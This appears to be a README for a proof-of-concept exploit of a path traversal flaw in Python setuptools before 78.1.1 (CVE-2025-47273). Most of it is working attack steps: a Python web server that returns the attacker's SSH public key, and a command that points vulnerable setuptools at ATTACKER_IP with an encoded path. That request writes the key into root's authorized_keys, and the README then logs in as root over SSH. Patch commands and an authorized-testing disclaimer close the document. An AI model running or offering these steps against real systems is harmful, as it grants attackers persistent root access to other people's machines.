
CVE-2025-47273 — setuptools path traversal PoC
Proof-of-concept exploit for a path traversal vulnerability in Python setuptools < 78.1.1.
By abusing the PackageIndex component's _download_url function, an attacker can write
arbitrary files to any location on the filesystem — with the privileges of the process
running setuptools.
| Field | Detail |
|---|
| 🎯 Target | Python setuptools < 78.1.1 |
| 🐛 Bug Class | Path Traversal (CWE-22) |
| 💥 Impact | Arbitrary file write |
| 📍 Attack Vector | Malicious package index URL |
| 🔍 Root Cause | os.path.join() discards tmpdir when second argument starts with / |
~/.ssh/id_rsa + id_rsa.pub)PackageIndex with a user-controlled URL# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys
This server responds to any GET request with your public key — regardless of the path.
setuptools will request the path /USER/.ssh/authorized_keys but receive your key content.
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Serve authorized_keys regardless of path requested
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"
sudo python3 /path/to/vulnerable_script.py \
"http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"
ssh root@VICTIM_IP
No password. Direct root shell. 🔑
Version 78.1.1 fixes the issue.
| Package Manager | Command |
|---|---|
| 🐍 pip | pip install --upgrade setuptools |
| 🐧 Debian/Ubuntu | sudo apt upgrade python3-setuptools |
| 🎩 RHEL/Fedora | sudo dnf upgrade python3-setuptools |
| 🏗️ Manual | setuptools releases |
This Proof of Concept (PoC) code is provided for educational and authorized penetration testing purposes only.